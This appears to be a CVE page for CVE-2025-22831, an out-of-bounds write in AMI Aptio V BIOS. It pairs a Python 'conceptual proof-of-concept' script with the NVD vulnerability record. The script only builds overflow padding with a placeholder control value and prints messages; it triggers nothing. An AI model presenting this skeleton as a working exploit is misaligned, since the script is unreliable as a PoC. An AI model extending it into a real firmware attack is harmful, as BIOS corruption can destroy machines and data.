CVE-2025-22831

# CVE-2025-22831 PoC - AMI APTIOV BIOS Out-of-bounds Write # This is a conceptual proof-of-concept demonstrating the vulnerability pattern # Actual exploitation requires specific knowledge of APTIOV firmware internals import struct import os import sys # Note: Real exploitation requires direct BIOS/firmware interaction # via SMI (System Management Interrupt) handlers or UEFI runtime services class APTIOVExploit: """ Conceptual PoC for CVE-2025-22831 Targets: AMI APTIOV BIOS - Out-of-bounds Write vulnerability """ def __init__(self, target_buffer_size=64, overflow_size=256): self.buffer_size = target_buffer_size self.overflow_size = overflow_size def craft_malicious_payload(self): """ Craft a payload that triggers out-of-bounds write in BIOS """ # Normal data to fill the expected buffer normal_data = b"\x00" * self.buffer_size # Overflow data - this portion writes beyond the buffer boundary # In real exploitation, this would contain addresses and shellcode overflow_data = b"\x41" * self.overflow_size # 'A' padding # Control data - overwrites return addresses or critical structures control_data = struct.pack("<Q", 0xDEADBEEFCAFEBABE) * 4 payload = normal_data + overflow_data + control_data return payload def trigger_vulnerability(self, interface="SMI"): """ Trigger the out-of-bounds write via BIOS interface """ print(f"[*] Targeting AMI APTIOV BIOS") print(f"[*] Buffer size: {self.buffer_size} bytes") print(f"[*] Overflow size: {self.overflow_size} bytes") payload = self.craft_malicious_payload() # In real scenario, this would interact with: # - SMM (System Management Mode) handlers # - UEFI variables # - BIOS configuration utilities # - Direct memory-mapped I/O print(f"[+] Payload crafted: {len(payload)} bytes") print(f"[!] WARNING: Executing this against production systems") print(f"[!] may cause permanent BIOS corruption") # Simulated trigger - actual exploitation requires kernel-level access if os.name == 'posix' and os.geteuid() == 0: print("[*] Running with root privileges") # Real exploit would write to /dev/mem or use ioperm/iopl return True else: print("[-] Requires root/administrator privileges") return False def main(): print("=" * 60) print("CVE-2025-22831 - AMI APTIOV BIOS OOB Write PoC") print("CVSS 7.8 (HIGH) | Local | Low Privileges Required") print("=" * 60) exploit = APTIOVExploit(target_buffer_size=64, overflow_size=256) exploit.trigger_vulnerability() if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-22831", "sourceIdentifier": "[email protected]", "published": "2025-10-14T14:15:49.220", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "APTIOV contains a vulnerability in BIOS where an attacker may cause an Out-of-bounds Write by local. Successful exploitation of this vulnerability may lead to data corruption and loss of availability."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ami:aptio_v:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0", "versionEndExcluding": "5.041", "matchCriteriaId": "55EB580E-FB5B-448A-AA20-41774E69D5DC"}]}]}], "references": [{"url": "https://go.ami.com/hubfs/Security%20Advisories/2025/AMI-SA-2025008.pdf", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}